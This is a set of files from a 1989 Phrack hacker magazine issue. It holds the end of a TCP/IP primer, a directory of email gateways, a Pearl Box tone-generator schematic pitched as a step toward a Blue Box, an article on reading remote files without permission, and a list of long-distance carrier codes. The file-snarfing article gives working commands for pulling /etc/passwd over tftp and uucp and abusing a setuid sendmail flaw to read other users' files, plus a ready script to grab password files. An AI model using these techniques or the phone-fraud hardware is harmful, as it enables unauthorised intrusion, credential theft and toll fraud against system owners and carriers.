When these packets are received by the other end, of course all the headers are removed. The Ethernet interface removes the Ethernet header and the checksum. It looks at the type code. Since the type code is the one assigned to IP, the Ethernet device driver passes the datagram up to IP. IP removes the IP header. It looks at the IP protocol field. Since the protocol type is TCP, it passes the datagram up to TCP. TCP now looks at the sequence number. It uses the sequence numbers and other information to combine all the datagrams into the original file.

This ends my initial summary of TCP/IP. There are still some crucial concepts I have not gotten to, so in part two, I will go back and add details in several areas. (For detailed descriptions of the items discussed here see, RFC 793 for TCP, RFC 791 for IP, and RFC's 894 and 826 for sending IP over Ethernet.)

Network Miscellany

==Phrack Inc.==

Volume Three, Issue 28, File #4 of 12

Network Miscellany

~~~~~~~~~~

by Taran King

June 1, 1989

ACSNET

~~~~~~

Australian Computer Science Network (ACSNET), also known as Oz, has its gateway through the CSNET node munnari.oz.au and if you cannot directly mail to the .oz.au domain, try either username%munnari.oz.au@UUNET.UU.NET or munnari!username@UUNET.UU.NET.

AT&T MAIL

~~~~~~~~~

AT&T Mail is a mailing service of AT&T, probably what you might call it's MCI‑Mail equivalent. It is available on the UUCP network as node name attmail but I've had problems having mail get through. Apparently, it does cost money to mail to this service and the surrounding nodes are not willing to pick up the tab for the ingoing mail, or at least, this has seemingly been the case thus far. I believe, though, that perhaps routing to att!attmail!user would work.

AT&T recently announced six new X.400 interconnections between AT&T Mail and electronic mail services in the U.S., Korea, Sweden, Australia, and Finland. In the U.S., AT&T Mail is now interconnected with Telenet Communications Corporation's service, Telemail, allowing users of both services to exchange messages easily. With the addition of these interconnections, the AT&T Mail Gateway 400 Service allows AT&T Mail subscribers to exchange messages with users of the following electronic messaging systems:

Company E‑Mail Name* Country

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑

TeleDelta TeDe 400 Sweden OTC MPS400 Australia Telecom‑Canada Envoy100 Canada DACOM DACOM MHS Korea P&T‑Tele MailNet 400 Finland Helsinki Telephone Co. ELISA Finland Dialcom Dialcom USA Telenet Telemail USA KDD Messavia Japan Transpac ATLAS400 France

The interconnections are based on the X.400 standard, a set of guidelines for the format, delivery and receipt of electronic messages recommended by an international standards committee the CCITT. International X.400 messages incur a surcharge. They are:

To Canada:

Per note: $.05 Per message unit: $.10

To other international locations: Per note: $.20 Per message unit: $.50

There is no surcharge for X.400 messages within the U.S. The following are contacts to speak with about mailing through these mentioned networks. Other questions can be directed through AT&T Mail's toll‑free number, 1‑800‑624‑5672.

MHS Gateway: mhs!atlas MHS Gateway: mhs!dacom Administrator: Bernard Tardieu Administrator: Bob Nicholson

Transpac AT&T

Phone: 3399283203 Morristown, NJ 07960 Phone: +1 201 644 1838

MHS Gateway: mhs!dialcom MHS Gateway: mhs!elisa Administrator: Mr. Laraman Administrator: Ulla Karajalainen

Dialcom Nokia Data

South Plainfield, NJ 07080 Phone: 01135804371 Phone: +1 441 493 3843

MHS Gateway: mhs!envoy MHS Gateway: mhs!kdd Administrator: Kin C. Ma Administrator: Shigeo Lwase

Telecom Canada Kokusai Denshin Denwa CO.

Phone: +1 613 567 7584 Phone: 8133477419

MHS Gateway: mhs!mailnet MHS Gateway: mhs!otc Administrator: Kari Aakala Administrator: Gary W. Krumbine Gen Directorate Of Post & AT&T Information Systems Phone: 35806921730 Lincroft, NJ 07738

Phone: +1 201 576 2658

MHS Gateway: mhs!telemail MHS Gateway: mhs Administrator: Jim Kelsay Administrator: AT&T Mail MHS

GTE Telenet Comm Corp Gateway

Reston, VA 22096 AT&T

Phone: +1 703 689 6034 Lincroft, NJ 08838

Phone: +1 800 624 5672

CMR

~~~

Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a mail relay service between the Internet and three commercial electronic mail systems: US Sprint/Telenet, MCI‑Mail, and DIALCOM systems (i.e. Compmail, NSFMAIL, and USDA‑MAIL).

An important note: The only requirement for using this mail gateway is that the work conducted must be DARPA sponsored research and other approved government business. Basically, this means that unless you've got some government‑related business, you're not supposed to be using this gateway. Regardless, it would be very difficult for them to screen everything that goes through their gateway. Before I understood the requirements of this gateway, I was sending to a user of MCI‑Mail and was not contacted about any problems with that communication. Unfortunately, I mistyped the MCI‑Mail address on one of the letters and that letter ended up getting read by system administrators who then informed me that I was not to be using that system, as well as the fact that they would like to bill me for using it. That was an interesting thought on their part anyway, but do note that using this service does incur charges.

The CMR mailbox address in each system corresponds to the label:

Telemail: [Intermail/USCISI]TELEMAIL/USA MCI‑Mail: Intermail or 107‑8239 CompMail: Intermail or CMP0817 NSF‑Mail: Intermail or NSF153 USDA‑Mail: Intermail or AGS9999

Addressing examples for each e‑mail system are as follows:

MCIMAIL:

123‑4567 seven digit address

Everett T. Bowens person's name (must be unique!)

COMPMAIL:

CMP0123 three letters followed by three or four digits S.Cooper initial, then "." and then last name 134:CMP0123 domain, then ":" and then combination system and account number

NSFMAIL:

NSF0123 three letters followed by three or four digits A.Phillips initial, then "." and then last name 157:NSF0123 domain, then ":" and then combination system and account number

USDAMAIL:

AGS0123 three letters followed by three or four digits P.Shifter initial, then "." and then last name 157:AGS0123 domain, then ":" and then combination system and account number

TELEMAIL:

BARNOC user (directly on Telemail) BARNOC/LODH user/organization (directly on Telemail) [BARNOC/LODH]TELEMAIL/USA [user/organization]system branch/country

The following are other Telenet system branches/countries that can be mailed to:

TELEMAIL/USA NASAMAIL/USA MAIL/USA TELEMEMO/AUSTRALIA TELECOM/CANADA TOMMAIL/CHILE TMAILUK/GB ITALMAIL/ITALY ATI/JAPAN PIPMAIL/ROC DGC/USA FAAMAIL/USA GSFC/USA GTEMAIL/USA TM11/USA TNET.TELEMAIL/USA USDA/USA

Note: OMNET's ScienceNet is on the Telenet system MAIL/USA and to mail to it, the format would be [A.MAILBOX/OMNET]MAIL/USA. The following are available subdivisions of OMNET:

AIR Atmospheric Sciences

EARTH Solid Earth Sciences

LIFE Life Sciences

OCEAN Ocean Sciences

POLAR Interdisciplinary Polar Studies

SPACE Space Science and Remote Sensing

The following is a list of DIALCOM systems available in the

listed countries with their domain and system numbers:

Service Name Country Domain Number System Number

~~~~~~~~~~~~ ~~~~~~~

Keylink‑Dialcom Australia 60 07, 08, 09 Dialcom Canada 20 20, 21, 22, 23, 24 DPT Databoks Denmark 124 71 Telebox Finland 127 62 Telebox West Germany 30 15, 16 Dialcom Hong Kong 80 88, 89 Eirmail Ireland 100 74 Goldnet Israel 50 05, 06 Mastermail Italy 130 65, 67 Mastermail Italy 1 66, 68 Dialcom Japan 70 13, 14 Dialcom Korea 1 52 Telecom Gold Malta 100 75 Dialcom Mexico 1 52 Memocom Netherlands 124 27, 28, 29 Memocom Netherlands 1 55 Starnet New Zealand 64 01, 02 Dialcom Puerto Rico 58 25 Telebox Singapore 88 10, 11, 12 Dialcom Taiwan 1 52 Telecom Gold United Kingdom 100 01, 04, 17, 80‑89

DIALCOM USA 1 29, 30, 31, 32,

33, 34, 37, 38,

41‑59, 61, 62, 63,

90‑99

NOTE: You can also mail to username@NASAMAIL.NASA.GOV or username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway to mail to NASAMAIL or GSFCMAIL.

For more information and instructions on how to use CMR, send a message to the user support group at intermail‑request@intermail.isi.edu (you'll get basically what I've listed plus maybe a bit more). Please read Chapter 3 of The Future Transcendent Saga (Limbo to Infinity) for specifics on mailing to these destination mailing systems.

COMPUSERVE

~~~~~~~~~~

CompuServe is well known for its games and conferences. It does, though, have mailing capability. Now, they have developed their own Internet domain, called COMPUSERVE.COM. It is relatively new and mail can be routed through either TUT.CIS.OHIO‑STATE.EDU or NORTHWESTERN.ARPA.

Example: user%COMPUSERVE.COM@TUT.CIS.OHIO‑STATE.EDU or replace TUT.CIS.OHIO‑STATE.EDU with NORTHWESTERN.ARPA).

The CompuServe link appears to be a polled UUCP connection at the gateway machine. It is actually managed via a set of shell scripts and a comm utility called xcomm, which operates via command scripts built on the fly by the shell scripts during analysis of what jobs exist to go into and out of CompuServe.

CompuServe subscriber accounts of the form 7xxxx,yyyy can be addressed as 7xxxx.yyyy@compuserve.com. CompuServe employees can be addressed by their usernames in the csi.compuserve.com subdomain. CIS subscribers write mail to

">inet:user@host.domain" to mail to users on the Wide‑Area Networks, where ">gateway:" is CompuServe's internal gateway access syntax. The gateway generates fully‑RFC‑compliant

headers.

To fully extrapolate ‑‑ from the CompuServe side, you would use their EasyPlex mail system to send mail to someone in BITNET or the Internet. For example, to send me mail at my Bitnet id, you would address it to:

INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU

Or to my Internet id:

INET:C488869@UMCVMB.MISSOURI.EDU

Now, if you have a BITNET to Internet userid, this is a silly thing to do, since your connect time to CompuServe costs you money. However, you can use this information to let people on CompuServe contact YOU. CompuServe Customer Service says that there is no charge to either receive or send a message to the Internet or BITNET.

DASNET

~~~~~~

DASnet is a smaller network that connects to the Wide‑Area Networks but charges for their service. DASnet subscribers get charged for both mail to users on other networks AND mail for

them from users of other networks. The following is a brief description of DASnet, some of which was taken from their promotional text letter.

DASnet allows you to exchange electronic mail with people on more than 20 systems and networks that are interconnected with DASnet. One of the drawbacks, though, is that, after being subscribed to these services, you must then subscribe to DASnet, which is a separate cost. Members of Wide‑Area networks can subscribe to DASnet too. Some of the networks and systems reachable through DASnet include the following:

ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network, Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI, PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source, Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, UUCP, The WELL, and Domains (i.e. ".COM" and ".EDU" etc.). New systems are added all of the time. As of the writing of this file, Connect, GoverNET, MacNET, and The American Institute of Physics PI‑MAIL are soon to be connected.

You can get various accounts on DASnet including:

o Corporate Accounts ‑‑ If your organization wants more than one individual subscription.

o Site Subscriptions ‑‑ If you want DASnet to link directly to your organization's electronic mail system.

To send e‑mail through DASnet, you send the message to the DASnet account on your home system. You receive e‑mail at your mailbox, as you do now. On the Wide‑Area Networks, you send mail to XB.DAS@STANFORD.BITNET. On the Subject: line, you type the DASnet address in brackets and then the username just outside of them. The real subject can be expressed after the username separated by a "!" (Example: Subject: [0756TK]randy!How's Phrack?).

The only disadvantage of using DASnet as opposed to Wide‑Area networks is the cost. Subscription costs as of 3/3/89 cost $4.75 per month or $5.75 per month for hosts that are outside of the U.S.A.

You are also charged for each message that you send. If you are corresponding with someone who is not a DASnet subscriber, THEIR MAIL TO YOU is billed to your account.

The following is an abbreviated cost list for mailing to the different services of DASnet:

PARTIAL List DASnet Cost DASnet Cost of Services 1st 1000 Each Add'l 1000 Linked by DASnet (e‑mail) Characters Characters:

INET, MacNET, PeaceNet, NOTE: 20 lines

Unison, UUCP*, Domains, .21 .11 of text is app.

e.g. .COM, .EDU* 1000 characters.

Dialcom‑‑Any "host" in U.S. .36 .25

Dialcom‑‑Hosts outside U.S. .93 .83

EasyLink (From EasyLink) .21 .11 (To EasyLink) .55 .23

U.S. FAX (internat'l avail.) .79 .37

GeoMail‑‑Any "host" in U.S. .21 .11 GeoMail‑‑Hosts outside U.S. .74 .63

MCI (from MCI) .21 .11 (to MCI) .78 .25 (Paper mail ‑ USA) 2.31 .21

Telemail .36 .25

W.U. Telex‑‑United States 1.79 1.63

(You can also send Telexes outside the U.S.)

TWICS‑‑Japan .89 .47

* The charges given here are to the gateway to the network. The DASnet user is not charged for transmission on the network itself.

Subscribers to DASnet get a free DASnet Network Directory as well as a listing in the directory, and the ability to order optional DASnet services like auto‑porting or DASnet Telex Service which gives you your own Telex number and answerback for $8.40 a month at this time.

DASnet is a registered trademark of DA Systems, Inc.

DA Systems, Inc. 1503 E. Campbell

Ave.

Campbell, CA 95008 408‑559‑7434

TELEX: 910 380‑3530

The following two sections on PeaceNet and AppleLink are in association with DASnet as this network is what is used to

connect them to the Wide‑Area Networks.

APPLELINK ~~~~~~~~~ AppleLink is a service of Apple Computer.

They have their own little network and there are a couple of things to know about it.

First of all, there is an AppleLink‑Bitnet Mail Relay which was created to "enrich the cooperative research relationship of Apple Computer and the higher education community by facilitating the electronic exchange of information." Any Bitnet user is automatically authorized to use the mail relay as well as all AppleLink users.

To send to AppleLink from Bitnet, your header should be as follows:

To: XB.DAS@STANFORD.BITNET Subject: username@APPLELINK!Hi, how are things at Apple?

The username is the user's ID that you are sending to and the "!" separates the DASnet To: field from the real subject.

To send to Bitnet from AppleLink, your header should be as follows:

To: DASNET Subject: C488869@UMCVMB.BITNET!Please add me to the Phrack Subscription List.

The C488869@UMCVMB.BITNET (my address) is any Bitnet address and as above, the "!" separates the address from the subject of the message.

There is one other thing to mention. Apparently, sending to username@APPLELINK.APPLE.COM also will perform the same function. If this does not work, try routing to username%APPLELINK.APPLE.COM@APPLE.COM.

PEACENET ~~~~~~~~ PeaceNet is a computer‑based communication system "helping the peace movement throughout the world communicate and cooperate more effectively and efficiently," according to their information flier. It is networked through Telenet and can be reached via dial‑up. To subscribe to this service, it costs $10 to sign up. With this sign‑up fee, you receive a user's manual and a "free" hour of off‑peak computer time (which is weekday evenings, weekends, and

holidays). Beyond this, you pay a monthly $10 fee for another hour of off‑peak computer usage and you pay $5 for additional

PEAK hour usage. They charge, also, for users who require extra space on their system. I guess peace carries a heavy cost in the long run! You do get 2 free hours of off‑peak time though for every additional user you bring to PeaceNet. It is a project of the Tides Foundation, a San Franciscan public charity, and is managed by 3 national peace organizations (non‑profit, of course!). Anyway, to join PeaceNet, send your name, organizational affiliation, address, city, state, zip code, telephone number, and who referred you to PeaceNet as well as

your credit card number with expiration date (and the name on the card if it's different than yours) to PeaceNet, 3228 Sacramento Street, San Francisco, CA 94115 or call them at 415‑923‑0900.

You can also pay by check but that requires a $50 deposit.

FIDONET

~~~~~~~

FIDONET is, of course, the ever‑popular group of IBM bulletin boards that made it possible for networking to be incorporated into bulletin board systems. FIDONET seems to have a number of gateways in the Wide‑Area Networks. First of all, it has its own domain ‑‑ .ifna.org ‑‑ which makes it possible to mail right to FIDONET without routing through UUCP gateways or whatever. The format for this gateway is:

Username@f<node #>.n<net #>.z<zone #>.ifna.org

In other words, if I wanted to mail to Silicon Swindler at 1:135/5, the address would be

Silicon_Swindler@f5.n135.z1.ifna.org and, provided that your mailer knows the .ifna.org domain, it should get through alright. Apparently, as of the writing of this article, they have implemented a new gateway name called fidonet.org which should work in place of ifna.org in all routings. If your mailer does not know either of these domains, use the above routing but replace the first "@" with a "%" and then afterwards, use either of the following mailers after the "@": CS.ORST.EDU or K9.CS.ORST.EDU (i.e. username%f<node #>.n<net #>.z<zone #>.fidonet.org@CS.ORST.EDU [or replace CS.ORST.EDU with K9.CS.ORST.EDU]).

The following is a list compiled by Bill Fenner (WCF@PSUECL.BITNET) that was posted on INFONETS DIGEST which lists a number of FIDONET gateways:

Net Node Node Name

~~~ ~~~~ ~~~~~~~~~

104 56 milehi.ifna.org

105 55 casper.ifna.org

107 320 rubbs.ifna.org

109 661 blkcat.ifna.org

125 406 fidogate.ifna.org

128 19 hipshk.ifna.org

129 65 insight.ifna.org

143 N/A fidogate.ifna.org

152 200 castle.ifna.org

161 N/A fidogate.ifna.org

369 17 megasys.ifna.org

NOTE: The UUCP equivalent node name is the first part of the node name. In other words, the UUCP node milehi is listed as milehi.ifna.org but can be mailed directly over the UUCP network.

Another way to mail to FIDONET, specifically for Internet people, is in this format:

ihnp4!necntc!ncoast!ohiont!<net #>!<node #>!user_name@husc6.harvard.edu

And for those UUCP mailing people out there, just use the path described and ignore the @husc5.harvard.edu portion. There is a FIDONET NODELIST available on most any FIDONET bulletin board, but it is quite large.

ONTYME

~~~~~~

Previously known as Tymnet, OnTyme is the McDonnell Douglas revision. After they bought out Tymnet, they renamed the company and opened an experimental Internet gateway at ONTYME.TYMNET.COM but this is supposedly only good for certain corporate addresses within McDonnell Douglas and Tymnet, not their customers. The userid format is xx.yyy or xx.y/yy where xx is a net name and yyy (or y/yy) is a true username. If you cannot directly nail this, try:

xx.yyy%ONTYME.TYMNET.COM@TYMIX.TYMNET.COM

A subnet of Tymnet is called GeoNet. It is a private X.25‑based subnet that is operated by the U.S. Geological Survey, a bureau

of the U.S. Department of the Interior. It supports about 165 host computers including about 75 USGS Primes, 50 VAXen, and 2 Amdahls. One of their VAX systems is on BITnet at USGSRESV and they have SPAN nodes at IFLAG1.SPAN and EROSA.SPAN.

THENET

~~~~~~

The Texas Higher Education Network (THEnet) is comprised of many of the institutions of higher education in the state of Texas.

Its backbone network protocol is DECnet. THEnet has recently

been designated as an NSF regional network, distributing Internet Protocol (IP) access over DECnet in some cases and utilizing multi‑protocol routers in others. THEnet has a NIC (Network Information Center) at THENIC.THE.NET and addresses within THEnet are probably routed to user@destination.THE.NET.

UUCP PATHS AND NODE INFORMATION

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Many UUCP Unix nodes have the commands uuhosts and uupath. The uuhosts command allows you to receive information about a specified UUCP node such as the path, node contact, how it is polled for USENET feeds, etc. The uupath command simply tells

you the path from one UUCP node to another. Well, although at this time, this is only good for Bitnet users, this interactive message feature is good to know just in case you need to know a path to a particular node. For IBM systems using RSCS network software, use the command

SM RSCS CMD PSUVAX1 UUPATH node1 node2 ...

(For people on VAXen with JNET network software, the format is: )

(SEND/COMMAND PSUVAX1 UUPATH node1 )

to receive standard information listed above from the uupath command.

Multiple nodes can be listed where node1 node2 represent separate UUCP nodes.

I've found that this can be useful in finding surrounding nodes

of the destination node in case you have a problem mailing

through a particular path or node. You can, with this command, use alternate routings by specifying them with a "bang‑path" that will indicate to the UUCP gateway where the message is to be sent to next. This is in the format of, say, "psuvax1!catch22!msp!taran@UUCPGATE" or whatever where UUCPGATE can be any UUCP gateway such as PSUVAX1 or UUNET.UU.NET to name a few.

NICS

~~~~

The Network Information Centers (NICs) can be extremely useful in figuring out various problems on the networks, such as routings

or the place at which the node resides, etc.

BITNIC is the BITnet Network Information Center which is located in New Jersey. Its node name is BITNIC.BITNET and it contains a variety of resources which can be utilized via mail or via direct messages from Bitnet users.

The DATABASE@BITNIC contains lists of all kinds. This database does not limit itself to information about the networks. It does contain this information, but also holds various trivialities. Send the HELP command either via direct message to

DATABASE@BITNIC if on Bitnet or send mail to that address containing the command you wish to perform (i.e. send a message saying HELP to DATABASE@BITNIC.BITNET from another network or

from Bitnet if you're at a node without direct message capabilities).

LISTSERV@BITNIC contains the standard listserver files that you'd expect to find plus some other interesting ones. I'm not going

to take the time to tutor you, the reader, in using these, so

just send a HELP command the same as you would to DATABASE@BITNIC for more information.

NETSERV@BITNIC is a file server which contains information files pertaining to various networks that are connected to Bitnet, as well as files about Bitnet. From here, you can get network node lists, information files on networks such as SPAN, ARPANET, NETNORTH, etc. and other network related files. This can be an extremely useful resource when you're trying to mail someone at another network.

The Data Defense Network NIC (DDN NIC) is located at SRI‑NIC.ARPA and has various useful files about the DDN as well as the Internet.

There are a number of ways to obtain information from the DDN

NIC. First of all, people on the Internet with the Telnet capability can Telnet to SRI‑NIC.ARPA and perform a number of procedures from the pre‑login screen. First of all, you can get TAC News updates by typing TACNEWS. The NIC command allows you

to find various facts about the whereabouts of network

information files, etc. The WHOIS command is probably the most useful of these 3. The WHOIS program allows you to find

addresses for registered users of the networks as well as information about networks and nodes on the networks, depending

on what you ask the WHOIS program for. To find only a certain record type, you can use the following specifiers:

Arpanet DOmain GAteway GRoup HOst IMp Milnet NEtwork Organization PSn TAc

To search for a specific field, use the following specifiers:

HAndle or "!" Mailbox or if it contains "@" NAme or a "." leading

These features return whatever information is available from the DDN NIC database. If you do not have the capability to use Telnet, mail can be sent to SERVICE@SRI‑NIC.ARPA with the "SUBJECT:" line containing the following commands:

HELP This will send you a help file for using the DDN NIC. RFC nnn This sends you a Request For Comments file (where nnn is either the number of the RFC file or else is INDEX to list them). IEN nnn This sends you an Internet Engineering Notes file where nnn is the same as above.

NETINFO xxx This feature allows you to get files about the networks where xxx is the filename or else the word INDEX for a list of available files.

HOST xxx This returns information pertaining to the xxx host specified. WHOIS xxx This is the same as using the WHOIS command from Telnet. For details on how to use this, send the WHOIS HELP command on the "Subject:" line.

There are other Network Information Centers throughout the networks but as far as I know, their abilities are nothing near as powerful as SRI‑NIC.ARPA. They are the places, though, to mail to for answers concerning those networks if you have some question as to the workings of the network or anything else.

A Real Functioning PEARL BOX Schematic

==Phrack Inc.==

Volume Three, Issue 28, File #5 of 12

/////////////////////\

||

|| A Real Functioning PEARL BOX Schematic ||

||

|| Written, Tested, and Used ||

||

|| by Dispater ||

||

|| July 1, 1989 ||

||

\\\\\\\\\\\\\\\\\\\\\/

Introduction: After reading the earlier renditions of schematics for the Pearl Box, I decided that there was an easier and cheaper way of doing the same thing with an IC and parts you probably have just laying around the house.

What Is A Pearl Box and Why Do I Want One?

A Pearl Box is a tone generating device that is used to make a wide range of single tones. Therefore, it would be very easy to modify this basic design to make a Blue Box by making 2 Pearl Boxes and joining them together in some fashion.

A Pearl Box can be used to create any tone you wish that other boxes may not. It also has a tone sweep option that can be used for numerous things like detecting different types of phone tapping devices.

Parts List:

CD4049 RCA integrated circuit

.1 uF disk capacitor

1 uF 16V electrolitic capacitor

1K resistor

10M resistor

1meg pot

1N914 diode

Some SPST momentary push‑button switches 1 SPDT toggle switch

9 Volt battery & clip

and miscellaneous stuff you should have laying around the house.

State‑of‑the‑Art‑Text Schematic:

+16V 1uF ‑

__________________________

| ! !

| _______________________8ohms

____|__|_____:__|__:__|_

| 9 10 11 12 13 14 15 16 | | | |_|\|

| CD4049UBE | | |

|_1__2__3__4__5__6__7__8_| : | _

| | |__| |__| | |________

| | ! ! b]

| |__________________________a]

| : : t]

| ! 1N914 ! ! [t]

|___________|/|_______________

: |\| :

| |

| 10M | |

|___/\/\/\__|

| |

|_____||____| These 2 wires to the center pole

|| | of switch.

.1uF 50V | |

|

_______________________|

| ___[Toggle Switch]____________ |

| |

| | o o |

| |

|_/\/\/\____/\/\/\ |

1K ^ |

|___| o o |

(pot side) (push‑button | ^

side) |__|

Explanation:

The 2 wires that lead from the main part of the circuit should be connected to the center poles on the toggle switch. Put the 2 wires to the pot on one side and the 2 wires going to the push‑buttons to the other side. That way you can switch between tone sweep and the favorite tones you like (the push‑button side).

To keep tones that you want to use frequently like 1850 Hz then all you have to do is put in a variable resistor and adjust it to where you have the correct tone, then just put a push‑button switch on the line. You can link them together in a chain, etc. There are many other good modifications to make to the box so have fun and be smart.

‑‑Dispater

Snarfing Remote Files

==Phrack Inc.==

Volume Three, Issue 28, File #6 of 12

+++++++++++++++++++

+

+ Snarfing Remote Files +

+

+ by +

+

+ Dark OverLord +

+

+++++++++++++++++++

There are many ways of getting copies of files from a remote system that you do not have permission to read or an account on login on to and access them through. Many administrators do not even bother to restrict many access points that you can use.

Here are the simplest ways:

A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy of a file if you are running on an Internet based network.

B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file if uucp connections are running on that system.

C) Access one of many known security loopholes.

In the following examples, we will use the passwd file as the file to acquire since it is a readable file that can be found on most systems that these attacks are valid on.

Method A :

1) First start the tftp program: Enter the command:

tftp

[You have the following prompt:]

tftp>

2) The next step is to connect to the system that you wish to retrieve files from. At the tftp, type:

tftp> connect other.system.com

3) Now request the file you wish to get a copy of (in our case, the passwd file /etc/passwd ):

tftp> get /etc/passwd /tmp/passwd

[You should see something that looks like the following:]

Received 185659 bytes in 22 seconds.

4) Now exit the tftp program with the "quit" command:

tftp> quit

You should now have a copy of other.system.com's passwd file in your directory.

NOTE: Some Unix systems' tftp programs have a different syntax. The above was tested under SunOS 4.0

For example, on Apollos, the syntax is:

tftp ‑{g|g!|p|r|w} <local file> <host> <foreign file> [netascii|image]

Thus you must use the command:

tftp ‑g password_file networked‑host /etc/passwd

Consult your local "man" pages for more info (or in other words RTFM).

At the end of this article, I will include a shell script that will snarf a password file from a remote host. To use it type:

gpw system_name

Method B :

Assuming we are getting the file /etc/passwd from the system uusucker, and our system has a direct uucp connection to that system, it is possible to request a copy of the file through the uucp links. The following command will request that a copy of the passwd file be copied into uucp's home directory /usr/spool/uucppublic :

uucp ‑m uusucker!/etc/passwd '>uucp/uusucker_passwd'

The flag "‑m" means you will be notified by mail when the transfer is completed.

Method C:

The third possible way to access the desired file requires that you have the login permission to the system.

In this case we will utilize a well‑known bug in Unix's sendmail daemon.

The sendmail program has and option "‑C" in which you can specify the configuration file to use (by default this file is /usr/lib/sendmail.cf or /etc/sendmail.cf). It should also be noted that the diagnostics outputted by sendmail contain the offending lines of text. Also note that the sendmail program runs setuid root.

The way you can abuse this set of facts (if you have not yet guessed) is by specifying the file you wish read as the configuration file. Thus the command:

sendmail ‑C/usr/accounts/random_joe/private/file

Will give you a copy of random joe's private file.

Another similar trick is to symlink your .mailcf file to joe's file and mail someone. When mail executes sendmail (to send the mail), it will load in your .mailcf and barf out joe's stuff.

First, link joe's file to your .mailcf .

ln ‑s /usr/accounts/random_joe/private/file $HOME/.mailcf

Next, send mail to someone.

mail C488869@umcvmb.missouri.edu

And have fun.

‑=‑Cut Here=‑=‑=‑Cut Here=‑=‑=‑ gpw.sh =‑=‑=‑Cut Here=‑=‑=‑=‑Cut Here=‑=‑=‑=‑= :

: gpw copyright(c) Dark Overlord

:

/usr/ucb/tftp $1 << EOF

mode ascii

verbose

trace

get /etc/passwd /tmp/pw.$1

quit

EOF

‑=‑Cut Here=‑=‑=‑Cut Here=‑=‑=‑Cut Here=‑=‑=‑Cut Here=‑=‑=‑=‑Cut Here=‑=‑=‑=‑=

Other Common Carriers

==Phrack Inc.==

Volume Three, Issue 28, File #7 of 12

___________________

\

\ Other Common Carriers (OCCs) /

\

\ A List By Equal Axis /

\

\ September 19, 1989 /

\____________

Hi everyone. One hundred percent accuracy is not guaranteed. Many small long distance companies operate for a few months or a year and then then merge with others or go out of business, etc. Also, not all of the places listed below work in every location. The only ones you can assume work almost everywhere are MCI, Sprint, AT&T, Western Union, and Telecom USA. Most of the others are strictly local, appearing in just a few states or cities.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

001 MidAmerican LD (Republic Telecom)

002 AmeriCall LDC

003 RCI Corporation

007 Tel America

011 Metromedia Long Distance

012 Charter Corporation (Tri‑J)

013 Access Services

021 Mercury

022 MCI Telecommunications

023 Texnet

024 Petricca Communications Systems

028 Texnet

030 Valu‑Line of Wichita Falls

031 Teltec Saving Communications

033 US Sprint

036 Long Distance Savers

039 Electronic Office Centers of America (EO/Tech)

042 First Phone

044 Allnet Communication Services (LDX, Lexitel)

053 American Network (Starnet)

056 American Satellite

057 Long Distance Satellite

059 COMNET

060 Valu‑Line of West Texas

063 COMNET

069 V/COM

070 National Telephone Exchange

080 AMTEL Systems

084 Long Distance Service (LDS)

085 WesTel

088 Satellite Business Systems (MCI)

089 Telephone Systems

090 WesTel

093 Rainbow Communications

095 Southwest Communications

099 AmeriCall

122 RCA Global Communications

137 All America Cables and Radio (ITT)

142 First Phone

146 ARGO Communications

188 Satellite Business Systems

201 PhoneNet

202 ExecuLines

203 Cypress Telecommunications (Cytel)

204 United Telephone Long Distance

206 United Telephone Long Distance

211 RCI

212 Call US

213 Long Distance Telephone Savers

214 Tyler Telecom

215 Star Tel of Abilene

217 Call US

219 Call USA

220 Western Union Telegraph

222 MCI Telecommunications (SBS)

223 Cable & Wireless Communication (TDX)

224 American Communications

227 ATH Communications (Call America)

229 Bay Communications

232 Superior Telecom

233 Delta Communications

234 AC Teleconnect (Alternative Communication)

237 Inter‑Comm Telephone

239 Woof Communications (ACT)

241 American Long Lines

242 Choice Information Systems

244 Automated Communications

245 Taconic Long Distance Service

250 Dial‑Net

252 Long Distance/USA

253 Litel Telecommunications

255 All‑State Communications

256 American Sharecom

260 Advanced Communications Systems

263 Com Systems (Sun Dial Communications)

268 Compute‑A‑Call

276 CP National (American Network, Starnet)

284 American Telenet

286 Clark Telecommunications

287 ATS Communications

288 AT&T Communications

298 Thriftline

302 Austin Bestline

303 MidAmerican LD (Republic Telecom)

311 SaveNet (American Network, Starnet)

318 Long Distance Savers

321 Southland Systems

322 American Sharecom

324 First Communication

331 Texustel

333 US Sprint

336 Florida Digital Network

338 Midco Communications

339 Communication Cable Laying

343 Communication Cable Laying

345 AC Teleconnect (Alternative Communication)

350 Dial‑Net

355 US Link

357 Manitowoc Long Distance Service

362 Electronic Office Centers of America (EO/Tech)

363 Tel‑Toll (Econ‑O‑Dial of Bishop)

369 American Satellite

373 Econo‑Line Waco

375 Wertern Union Telegraph

385 The Switchboard

393 Execulines of Florida

400 American Sharecom

404 MidAmerican LD (Republic Telecom)

412 Penn Telecom

428 Inter‑Comm Telephone

432 Lightcall

435 Call‑USA

436 Indiana Switch

440 Tex‑Net

441 Escondido Telephone

442 First Phone

444 Allnet Communication Services (LDX, Lexitel)

455 Telecom Long Distance

456 ARGO Communications

462 American Network Services

464 Houston Network

465 Intelco

466 International Office Networks

469 GMW

472 Hal‑Rad Communications

480 Chico Telecom (Call America)

488 United States Transmission Systems (ITT)

505 San Marcos Long Distance

515 Burlington Telephone

529 Southern Oregon Long Distance

532 Long Distance America

533 Long Distance Discount

536 Long Distance Management

550 Valu‑Line of Alexandria

551 Pittsburg Communication Systems

552 First Phone

555 TeleSphere Networks

566 Cable & Wireless Communication (TDX)

567 Advanced Marketing Services (Dial Anywhere)

579 Lintel System (Lincoln Telephone LD)

590 Wisconsin Telecommunications Tech

599 Texas Long Distance Conroe

601 Discount Communications Services

606 Biz Tel Long Distance Telephone

622 Metro America Communications

634 Econo‑Line Midland

646 Contact America

654 Cincinnati Bell Long Distance

655 Ken‑Tel Service

660 Tex‑Net

666 Southwest Communications

675 Network Services

